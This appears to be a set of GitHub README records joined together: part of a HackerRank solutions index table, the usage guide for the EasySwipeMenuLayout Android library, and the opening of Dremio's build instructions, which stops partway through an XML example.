<ul><li>Java</li></ul> | | | Advanced | 80 | || | | [A Super Hero](https://www.hackerrank.com/challenges/a-super-hero)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Covering the stains](https://www.hackerrank.com/challenges/covering-the-stains)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Superman Celebrates Diwali](https://www.hackerrank.com/challenges/superman-celebrates-diwali)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Wet Shark and Two Subsequences](https://www.hackerrank.com/challenges/wet-shark-and-two-subsequences)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Zurikela's Graph](https://www.hackerrank.com/challenges/zurikela)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [New Year Present](https://www.hackerrank.com/challenges/newyear-present )| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Suffix Rotation](https://www.hackerrank.com/challenges/suffix-rotation)| <ul><li>Java</li></ul> | | | Expert | 80 | || | | [Black and White Tree](https://www.hackerrank.com/challenges/black-n-white-tree-1)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Beautiful Strings](https://www.hackerrank.com/challenges/beautiful-string)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Longest Mod Path](https://www.hackerrank.com/challenges/longest-mod-path)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Super Functional Strings](https://www.hackerrank.com/challenges/super-functional-strings)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Kitty's Calculations on a Tree](https://www.hackerrank.com/challenges/kittys-calculations-on-a-tree)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Liars](https://www.hackerrank.com/challenges/liars)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [Dorsey Thief](https://www.hackerrank.com/challenges/dorsey-thief)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [Swap Permutation](https://www.hackerrank.com/challenges/swappermutation)| <ul><li>Java</li></ul> | | | Medium | 85 | || | | [Candles Counting](https://www.hackerrank.com/challenges/candles-2)| <ul><li>Java</li></ul> | | | Medium | 85 | || | | [Square Subsequences](https://www.hackerrank.com/challenges/square-subsequences)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Hyper Strings](https://www.hackerrank.com/challenges/hyper-strings)| <ul><li>Java</li></ul> | | | Advanced | 90 | || | | [Unique Divide And Conquer](https://www.hackerrank.com/challenges/unique-divide-and-conquer)| <ul><li>Java</li></ul> | | | Advanced | 90 | || | | [Super Kth LIS](https://www.hackerrank.com/challenges/super-kth-lis)| <ul><li>Java</li></ul> | | | Advanced | 90 | || | | [Counting Road Networks](https://www.hackerrank.com/challenges/counting-road-networks)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Lucky Numbers](https://www.hackerrank.com/challenges/lucky-numbers)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Count Scorecards](https://www.hackerrank.com/challenges/count-scorecards)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Unfair Game](https://www.hackerrank.com/challenges/unfair-game)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Oil Well](https://www.hackerrank.com/challenges/oil-well)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Modify The Sequence](https://www.hackerrank.com/challenges/modify-the-sequence)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Divisible Numbers](https://www.hackerrank.com/challenges/divisible-numbers)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Ones and Twos](https://www.hackerrank.com/challenges/ones-and-twos)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Extremum Permutations](https://www.hackerrank.com/challenges/extremum-permutations)| <ul><li>Java</li></ul> | | | Medium | 100 | || | | [Tree Pruning](https://www.hackerrank.com/challenges/tree-pruning)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [P-sequences](https://www.hackerrank.com/challenges/p-sequences)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Best spot](https://www.hackerrank.com/challenges/best-spot)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Find the Seed](https://www.hackerrank.com/challenges/find-the-seed)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [The Blacklist](https://www.hackerrank.com/challenges/the-blacklist)| <ul><li>Java</li></ul> | | | Advanced | 100 | || | | [Police Operation](https://www.hackerrank.com/challenges/police-operation)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [Road Maintenance](https://www.hackerrank.com/challenges/road-maintenance)| <ul><li>Java</li></ul> | | | Hard | 100 | || | | [King and Four Sons](https://www.hackerrank.com/challenges/happy-king)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Counting the Ways](https://www.hackerrank.com/challenges/count-ways-1)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Hard Disk Drives](https://www.hackerrank.com/challenges/hard-drive-disks)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [Travel around the world](https://www.hackerrank.com/challenges/travel-around-the-world)| <ul><li>Java</li></ul> | | | Medium | 120 | || | | [Robot](https://www.hackerrank.com/challenges/robot)| <ul><li>Java</li></ul> | | | Advanced | 120 | || | | [Vim War](https://www.hackerrank.com/challenges/vim-war)| <ul><li>Java</li></ul> | | | Advanced | 120 | || | | [Dortmund Dilemma](https://www.hackerrank.com/challenges/dortmund-dilemma)| <ul><li>Java</li></ul> | | | Advanced | 150 | || | | [Separate the chocolate](https://www.hackerrank.com/challenges/separate-the-chocolate)| <ul><li>Java</li></ul> | | | Expert | 250 | || ### Constructive Algorithms | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Lena Sort](https://www.hackerrank.com/challenges/lena-sort)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Flipping the Matrix](https://www.hackerrank.com/challenges/flipping-the-matrix)| <ul><li>[Java](./Algorithms/Constructve%20Algorithms/Flipping%20Matrix/Solution.java)</li><ul> | _O(n^2)_ | _O(n^2)_ | Medium | 30 | || | | [Gaming Array](https://www.hackerrank.com/challenges/an-interesting-game-1)| <ul><li>Java</li></ul> | | | Medium | 35 | || | | [New Year Chaos](https://www.hackerrank.com/challenges/new-year-chaos)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Bonetrousle](https://www.hackerrank.com/challenges/bonetrousle)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Yet Another KMP Problem](https://www.hackerrank.com/challenges/kmp-problem)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Beautiful 3 Set](https://www.hackerrank.com/challenges/beautiful-3-set)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Inverse RMQ](https://www.hackerrank.com/challenges/inverse-rmq)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Two Subarrays](https://www.hackerrank.com/challenges/two-subarrays)| <ul><li>Java</li></ul> | | | Expert | 70 | || | | [Lovely Triplets](https://www.hackerrank.com/challenges/lovely-triplets)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Array Construction](https://www.hackerrank.com/challenges/array-construction)| <ul><li>Java</li></ul> | | | Advanced | 80 | || ### Bit Manipulation | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Lonely Integer](https://www.hackerrank.com/challenges/lonely-integer)| <ul><li>[Java](./Algorithms/Bit%20Manipulation/Lonely%20Integer/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 20 | || | | [Maximizing XOR](https://www.hackerrank.com/challenges/maximizing-xor)| <ul><li>Java</li></ul> | | | Easy | 30 | || | | [Counter game](https://www.hackerrank.com/challenges/counter-game)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Xor-sequence](https://www.hackerrank.com/challenges/xor-se)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Sum vs XOR](https://www.hackerrank.com/challenges/sum-vs-xor)| <ul><li>[Java](./Algorithms/Bit%20Manipulation/Sum%20vs%20XOR/Solution.java)</li><ul> | _O(n log(n))_ | _O(1)_ | Easy | 20 | || | | [The Great XOR](https://www.hackerrank.com/challenges/the-great-xor)| <ul><li>Java</li></ul> | | | Medium | 25 | || | | [Flipping bits](https://www.hackerrank.com/challenges/flipping-bits)| <ul><li>Java</li></ul> | | | Easy | 40 | || | | [Yet Another Minimax Problem](https://www.hackerrank.com/challenges/yet-another-minimax-problem)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Sansa and XOR](https://www.hackerrank.com/challenges/sansa-and-xor)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [AND Product](https://www.hackerrank.com/challenges/and-product)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Xoring Ninja](https://www.hackerrank.com/challenges/xoring-ninja)| <ul><li>Java</li></ul> | | | Hard | 55 | || | | [Cipher](https://www.hackerrank.com/challenges/cipher)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [XOR Matrix](https://www.hackerrank.com/challenges/xor-matrix)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [What's Next?](https://www.hackerrank.com/challenges/whats-next)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [String Transmission](https://www.hackerrank.com/challenges/string-transmission)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [A or B](https://www.hackerrank.com/challenges/aorb)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Manipulative Numbers](https://www.hackerrank.com/challenges/manipulative-numbers)| <ul><li>Java</li></ul> | | | Hard | 55 | || | | [Stone game](https://www.hackerrank.com/challenges/stonegame)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [2's complement](https://www.hackerrank.com/challenges/2s-complement)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [Changing Bits](https://www.hackerrank.com/challenges/changing-bits)| <ul><li>Java</li></ul> | | | Advanced | 70 | || | | [XOR key](https://www.hackerrank.com/challenges/xor-key)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Maximizing the Function](https://www.hackerrank.com/challenges/maximizing-the-function)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [XOR Subsequences](https://www.hackerrank.com/challenges/xor-subsequence)| <ul><li>Java</li></ul> | | | Advanced | 80 | || | | [Iterate It](https://www.hackerrank.com/challenges/iterate-it)| <ul><li>Java</li></ul> | | | Expert | 90 | || | | [Hamming Distance](https://www.hackerrank.com/challenges/hamming-distance)| <ul><li>Java</li></ul> | | | Expert | 150 | || | | [Mixing proteins](https://www.hackerrank.com/challenges/pmix)| <ul><li>Java</li></ul> | | | Hard | 80 | || ### Recursion | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [The Power Sum](https://www.hackerrank.com/challenges/the-power-sum)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Crossword Puzzle](https://www.hackerrank.com/challenges/crossword-puzzle)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Recursive Digit Sum](https://www.hackerrank.com/challenges/recursive-digit-sum)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Simplified Chess Engine](https://www.hackerrank.com/challenges/simplified-chess-engine)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Password Cracker](https://www.hackerrank.com/challenges/password-cracker)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Artithmetic Expressions](https://www.hackerrank.com/challenges/arithmetic-expressions)| <ul><li>Java</li></ul> | | | Hard | 40 | || | | [K Factorization](https://www.hackerrank.com/challenges/k-factorization)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [Bowling Pins](https://www.hackerrank.com/challenges/bowling-pins)| <ul><li>Java</li></ul> | | | Advanced | 60 | || | | [Simplified Chess Engine II](https://www.hackerrank.com/challenges/simplified-chess-engine-ii)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Repetitive K-Sums](https://www.hackerrank.com/challenges/repeat-k-sums)| <ul><li>Java</li></ul> | | | Advanced | 150 | || ### Game Theory | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Game of Stones](https://www.hackerrank.com/challenges/game-of-stones-1)| <ul><li>[JS](./Algorithms/Game%20Theory/Game%20of%20Stones/Solution.js)</li><ul> | _O(n)_ | _O(1)_ | Easy | 15 | || | | [Tower Breakers](https://www.hackerrank.com/challenges/tower-breakers-1)| <ul><li>Java</li></ul> | | | Easy | 15 | || | | [A Chessboard Game](https://www.hackerrank.com/challenges/a-chessboard-game-1)| <ul><li>Java</li></ul> | | | Easy | 15 | || | | [Introduction to Nim Game](https://www.hackerrank.com/challenges/nim-game-1)| <ul><li>Java</li></ul> | | | Easy | 15 | || | | [Misère Nim](https://www.hackerrank.com/challenges/misere-nim-1)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Nimble Game](https://www.hackerrank.com/challenges/nimble-game-1)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Alice and Bob's Silly Game](https://www.hackerrank.com/challenges/alice-and-bobs-silly-game)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Poker Nim](https://www.hackerrank.com/challenges/poker-nim-1)| <ul><li>Java</li></ul> | | | Easy | 20 | || | | [Tower Breakers, Revisited!](https://www.hackerrank.com/challenges/tower-breakers-revisited-1)| <ul><li>Java</li></ul> | | | Medium | 25 | || | | [Tower Breakers, Again!](https://www.hackerrank.com/challenges/tower-breakers-again-1)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Zero-Move Nim](https://www.hackerrank.com/challenges/zero-move-nim)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Chessboard Game, Again!](https://www.hackerrank.com/challenges/chessboard-game-again-1)| <ul><li>Java</li></ul> | | | Medium | 30 | || | | [Digits Square Board](https://www.hackerrank.com/challenges/digits-square-board-1)| <ul><li>Java</li></ul> | | | Medium | 35 | || | | [Fun Game](https://www.hackerrank.com/challenges/fun-game-1)| <ul><li>Java</li></ul> | | | Medium | 40 | || | | [Stone Division](https://www.hackerrank.com/challenges/stone-division)| <ul><li>Java</li></ul> | | | Hard | 50 | || | | [Chocolate in Box](https://www.hackerrank.com/challenges/chocolate-in-box)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [Kitty and Katty](https://www.hackerrank.com/challenges/kitty-and-katty)| <ul><li>Java</li></ul> | | | Medium | 80 | || | | [Powers Game](https://www.hackerrank.com/challenges/powers-game-1)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Deforestation](https://www.hackerrank.com/challenges/deforestation-1)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Bob and Ben](https://www.hackerrank.com/challenges/bob-and-ben)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Tower Breakers - The Final Battle](https://www.hackerrank.com/challenges/tower-breakers-the-final-battle-1)| <ul><li>Java</li></ul> | | | Medium | 50 | || | | [Simple Game](https://www.hackerrank.com/challenges/simple-game)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Permutation game](https://www.hackerrank.com/challenges/permutation-game)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [Move the Coins](https://www.hackerrank.com/challenges/move-the-coins)| <ul><li>Java</li></ul> | | | Hard | 60 | || | | [Play on benders](https://www.hackerrank.com/challenges/benders-play)| <ul><li>Java</li></ul> | | | Medium | 70 | || | | [New Year Game](https://www.hackerrank.com/challenges/newyear-game)| <ul><li>Java</li></ul> | | | Medium | 60 | || | | [Stone Piles](https://www.hackerrank.com/challenges/stone-piles)| <ul><li>Java</li></ul> | | | Hard | 80 | || | | [Chocolate Game](https://www.hackerrank.com/challenges/chocolate-game)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Manasa and Prime game](https://www.hackerrank.com/challenges/manasa-and-prime-game)| <ul><li>Java</li></ul> | | | Hard | 90 | || | | [Vertical Rooks](https://www.hackerrank.com/challenges/vertical-rooks)| <ul><li>Java</li></ul> | | | Medium | 90 | || | | [A stones game](https://www.hackerrank.com/challenges/half)| <ul><li>Java</li></ul> | | | Medium | 90 | || | | [Tastes Like Winning](https://www.hackerrank.com/challenges/taste-of-win)| <ul><li>Java</li></ul> | | | Expert | 100 | || ### NP Complete | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Walking the Approximate Longest Path](https://www.hackerrank.com/challenges/walking-the-approximate-longest-path)| <ul><li>Java</li></ul> | | | Hard | 70 | || | | [Sam's Puzzle (Approximate)](https://www.hackerrank.com/challenges/sams-puzzle)| <ul><li>Java</li></ul> | | | Advanced | 85 | || | | [Spies, Revised](https://www.hackerrank.com/challenges/spies-revised)| <ul><li>Java</li></ul> | | | Expert | 100 | || | | [TBS Problem](https://www.hackerrank.com/challenges/inheritance)| <ul><li>Java</li></ul> | | | Expert | 100 | || ### Object Oriented Programming | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | | [Class vs. Instance](https://www.hackerrank.com/challenges/class-vs-instance)| <ul><li>[Java](./Java/Class%20vs.%20Instance/Solution.java)</li><ul> | _N/A_ | _N/A_ | Easy | 30| || | | [Inheritance](https://www.hackerrank.com/challenges/inheritance)| <ul><li>[Java](.Java/Inheritance/Solution.java)</li><ul> | _O(n)_ | _O(1)_ | Easy | 30 | || | | [Abstract Classes](https://www.hackerrank.com/challenges/abstract-classes)| <ul><li>[Java](./Java/Abstract%20Classes/Solution.java)</li><ul> | _N/A_ | _N/A_ | Easy | 30| || | | [Complex Numbers](https://www.hackerrank.com/challenges/complex-numbers)| <ul><li>[Java](./Java/Complex%20Numbers/Solution.java)</li><ul> | _O(1)_ | _O(1)_ | Easy | 30 | || ### Arrays | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Arrays - DS](https://www.hackerrank.com/challenges/arrays-ds/problem)| <ul><li>[C++](./DataStructures/Arrays/Arrays%20-%20DS/Solution.cpp)</li><ul> | _O(n)_ | _O(n)_| Easy | 10 | || | |[2D Array - DS](https://www.hackerrank.com/challenges/2d-array/problem)| <ul><li>[C++](./DataStructures/Arrays/2D%20Array%20-%20DS/Solution.cpp)</li><ul> | _O(1)_ | _O(1)_| Easy | 15 | || | |[Sparse Arrays](https://www.hackerrank.com/challenges/sparse-arrays/problem)| <ul><li>[C#](./DataStructures/Arrays/Sparse%20Arrays/Solution.cs)</li><ul> | _O(n + q)_ | _O(n + q)_| Medium | 25 | n = number of input strings, q = number of queries || | |[Dynamic Array](https://www.hackerrank.com/challenges/dynamic-array/problem)| <ul><li>[C#](./DataStructures/Arrays/Dynamic%20Array/Solution.cs)</li><ul> | _O(q)_ | _O(n)_| Easy | 15 | q = Number of queries || ### Linked Lists | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Print the Elements of a Linked List](https://www.hackerrank.com/challenges/print-the-elements-of-a-linked-list)| <ul><li>[C++](./DataStructures/Linked%20Lists/Print%20the%20Elements%20of%20a%20Linked%20List/Solution.cpp)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || | |[Reverse a Linked List](https://www.hackerrank.com/challenges/reverse-a-linked-list)| <ul><li>[Java](./DataStructures/Linked%20Lists/Reverse%20a%20linked%20list/Solution.java)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || | |[Compare Two Linked Lists](https://www.hackerrank.com/challenges/compare-two-linked-lists)| <ul><li>[C++](./DataStructures/Linked%20Lists/Compare%20two%20linked%20lists/Solution.cpp)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || | |[Delete a node](https://www.hackerrank.com/challenges/delete-a-node-from-a-linked-list/problem)| <ul><li>[C++](./DataStructures/Linked%20Lists/Delete%20Node/solution.cpp)</li><ul> | _O(n)_ | _O(1)_| Easy | 5 | || ### Trees | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Tree: Preorder Traversal](https://www.hackerrank.com/challenges/tree-preorder-traversal/)| <ul><li>[C++](./DataStructures/Trees/Tree%20Preorder%20Traversal/Solution.cpp)</li><ul> | _O(n)_ | _O(n)_| Easy | 10 | || | |[Swap Nodes [Algo]](https://www.hackerrank.com/challenges/swap-nodes-algo/)| <ul><li>[C#](./DataStructures/Trees/Swap%20Nodes%20[Algo]/Solution.cs)</li><ul> | _O(n)_ | _O(n)_| Medium | 40 | || ### Balanced Trees | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Self Balancing Tree](https://www.hackerrank.com/challenges/self-balancing-tree/)| <ul><li>[C++](./DataStructures/Balanced%20Trees/Self%20Balancing%20Tree/Solution.cpp)</li><ul> | _O(log(n))_ | _O(n)_| Medium | 50 | || ### Stacks | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Maximum Element](https://www.hackerrank.com/challenges/maximum-element/)| <ul><li>[C++](./DataStructures/Stacks/Maximum%20Element/Solution.cpp)</li><ul> | _Push-O(1), Delete - O(n), Print - O(1)_ | _Push - O(1), Delete - O(1), Print - O(1)_| Easy | 20 | || | |[Balanced Brackets](https://www.hackerrank.com/challenges/balanced-brackets/)| <ul><li>[Java](./DataStructures/Stacks/Balanced%20Brackets/Solution.java)</li><ul> | _O(n)_ | _O(n)_| Medium | 25 | || ### Queues | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Queue using Two Stacks](https://www.hackerrank.com/challenges/queue-using-two-stacks/)| <ul><li>[C#](./DataStructures/Queues/Queue%20using%20Two%20Stacks/Solution.cs)</li><ul> | _Enqueue - O(1), Dequeue - O(n), Print - O(n)_ | _Enqueue - O(1), Dequeue - O(1), Print - O(1)_| Medium | 30 | || ### Heap | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[QHEAP1](https://www.hackerrank.com/challenges/qheap1/)| <ul><li>[C#](./DataStructures/Heap/QHEAP1/Solution.cs)</li><ul> | _Insert - O(log(n)), Delete - O(n), Print - O(1)_ | _Insert - O(1), Delete - O(1), Print - O(1)_| Easy | 25 | || ### Disjoint Set | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Spaceholder](https://www.hackerrank.com/challenges/spaceholder)| <ul><li>[C#]()</li><ul> | _O(1)_ | _O(1)_| Easy | 1 | || ### Multiple Choice | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Data Structures MCQ 1](https://www.hackerrank.com/challenges/how-well-do-you-know-trees/problem)| <ul><li>[Language Independent](./DataStructures/Multiple%20Choice/Data%20Structures%20MCQ%201/Solution.md)</li><ul> | _NA_ | _NA_| Hard | 5 | || | |[Data Structures MCQ 2](https://www.hackerrank.com/challenges/are-you-an-expert-on-data-structures/problem)| <ul><li>[Language Independent](./DataStructures/Multiple%20Choice/Data%20Structures%20MCQ%202/Solution.md)</li><ul> | _NA_ | _NA_| Hard | 5 | || | |[Data Structures MCQ 3](https://www.hackerrank.com/challenges/are-you-an-expert-on-data-structures-1/problem)| <ul><li>[Language Independent](./DataStructures/Multiple%20Choice/Data%20Structures%20MCQ%203/Solution.md)</li><ul> | _NA_ | _NA_| Hard | 5 | || ### Trie | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Contacts](https://www.hackerrank.com/challenges/contacts/problem)| <ul><li>[C#](./DataStructures/Trie/Contacts/Solution.cs)</li><ul> | _Add - O(L), Find - O(L)_ | _Add - O(L), Find - O(1)_| Medium | 40 | L = Length of a contact name || ### Advanced | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Spaceholder](https://www.hackerrank.com/challenges/spaceholder)| <ul><li>[C#]()</li><ul> | _O(1)_ | _O(1)_| Easy | 1 | || ### Fundamentals | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Leonardo's Prime Factors](https://www.hackerrank.com/challenges/leonardo-and-prime/problem)| <ul><li>[C#](./Mathematics/Fundamentals/Leonardo's%20Prime%20Factors/Solution.cs)</li><ul> | _O(1)_ | _O(1)_| Easy | 10 | || [HackerRank]:https://cloud.githubusercontent.com/assets/19765741/25342064/d17a563c-28d8-11e7-83fc-763d4ab4820a.jpg [Problems Solved]:https://img.shields.io/badge/Problems%20Solved-132-brightgreen.svg [Language]:https://img.shields.io/badge/Language-Java/Python/C++-orange.svg [UpToDate]:https://img.shields.io/badge/Latest%20Update-n/a-lightgrey.svg [AlgorithmsPercentile]:https://img.shields.io/badge/Percentile-94th-brightgreen.svg [MachineLearningPercentile]:https://img.shields.io/badge/Percentile-n/a-lightgrey.svg [FunctionalLanguagesPercentile]:https://img.shields.io/badge/Percentile-n/a-lightgrey.svg [AlgorithmsRank]:https://img.shields.io/badge/Rank-4392-brightgreen.svg [AlgorithmsPoints]:https://img.shields.io/badge/Points-3450-brightgreen.svg [DataStructuresRank]:https://img.shields.io/badge/Rank-114680-red.svg [DataStructuresPoints]:https://img.shields.io/badge/Points-25.00-red.svg [MathematicsRank]:https://img.shields.io/badge/Rank-n/a-lightgrey.svg [MathematicsPoints]:https://img.shields.io/badge/Points-n/a-lightgrey.svg [JavaRank]:https://img.shields.io/badge/Rank-20998-yellow.svg [JavaPoints]:https://img.shields.io/badge/Points-163.00-yellow.svg
0
anzaizai/EasySwipeMenuLayout
A sliding menu library not just for recyclerview, but all views.
null
# EasySwipeMenuLayout A sliding menu library not just for recyclerview, but all views. # Effect picture ![EasySwipeMenuLayout.gif](http://upload-images.jianshu.io/upload_images/1811893-e1aa5b2f36f1caf5.gif?imageMogr2/auto-orient/strip) # Recommended - Recommended in conjunction with BaseRecyclerViewAdapterHelper # Feature - 1、Two-way sliding - 2、Support any View - 3、By id binding layout, more freedom # How to use ## Step 1 - You need to add jitpack repository infomaition to build.gradle in your project. // Top-level build file where you can add configuration options common to all sub-projects/modules. buildscript { repositories { jcenter() } dependencies { classpath 'com.android.tools.build:gradle:2.2.0' // NOTE: Do not place your application dependencies here; they belong // in the individual module build.gradle files } } allprojects { repositories { jcenter() maven { url "https://jitpack.io" } } } task clean(type: Delete) { delete rootProject.buildDir } ## step 2 [![](https://jitpack.io/v/anzaizai/EasySwipeMenuLayout.svg)](https://jitpack.io/#anzaizai/EasySwipeMenuLayout) - You need to add library dependencies infomation to build.gradle in your module. compile 'com.github.anzaizai:EasySwipeMenuLayout:1.1.4' - last releases version is 1.1.4 can be use ## step 3 - User EasySwipeMenuLayout as the top-level root layout the needs to be added slide swipe menu the funcation views. ### such as <com.guanaj.easyswipemenulibrary.EasySwipeMenuLayout android:layout_width="match_parent" android:layout_height="wrap_content" app:contentView="@+id/content" app:leftMenuView="@+id/left" app:rightMenuView="@+id/right"> <LinearLayout android:id="@+id/left" android:layout_width="100dp" android:layout_height="wrap_content" android:background="@android:color/holo_blue_dark" android:orientation="horizontal" android:padding="20dp"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="分享" /> </LinearLayout> <LinearLayout android:id="@+id/content" android:layout_width="match_parent" android:layout_height="wrap_content" android:background="#cccccc" android:orientation="vertical" android:padding="20dp"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="内容区域" /> </LinearLayout> <LinearLayout android:id="@+id/right" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@android:color/holo_red_light" android:orientation="horizontal"> <TextView android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@android:color/holo_blue_bright" android:padding="20dp" android:text="删除" /> <TextView android:id="@+id/right_menu_2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@android:color/holo_orange_dark" android:padding="20dp" android:text="收藏" /> </LinearLayout> </com.guanaj.easyswipemenulibrary.EasySwipeMenuLayout> - yes,just one step,use it is so simple # Portal - 想要阅读源码的小伙伴可以点击我的博客,在博客里简略分析了构建的思路我实现过程 - 个人博客:[https://www.catbro.cn](https://www.catbro.cn/)
0
dremio/dremio-oss
Dremio - the missing link in modern data
analytics big-data data-analytics ui
# Dremio Dremio enables organizations to unlock the value of their data. ## Table of Contents 1. [Documentation](#documentation) 2. [Quickstart](#quickstart-how-to-build-and-run-dremio) 3. [Codebase Structure](#codebase-structure) 4. [Contributing](#contributing) 5. [Questions](#questions) ## Documentation Documentation is available at https://docs.dremio.com. ## Quickstart: How to build and run Dremio ### (a) Prerequisites * JDK 11 ([OpenJDK](https://adoptium.net/temurin/releases/) or Oracle) as the default JDK (`JAVA_HOME` set to it) * JDK 17 ([OpenJDK](https://adoptium.net/temurin/releases/) or Oracle) in Maven toolchain, required to run certain integration tests * (Optional) Maven 3.9.3 or later (using Homebrew: `brew install maven`) Run the following commands to verify that you have the correct versions of Maven and JDK installed: java -version mvn --version Add JDK 17 to the Maven toolchain, easiest to use `${HOME}/.m2/toolchains.xml`. Example: ```xml <?xml version="1.0" encoding="UTF-8"?> <toolchains> <toolchain> <type>jdk</type> <provides> <version>11</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>FULL_PATH_TO_YOUR_JAVA_11_HOME</jdkHome> 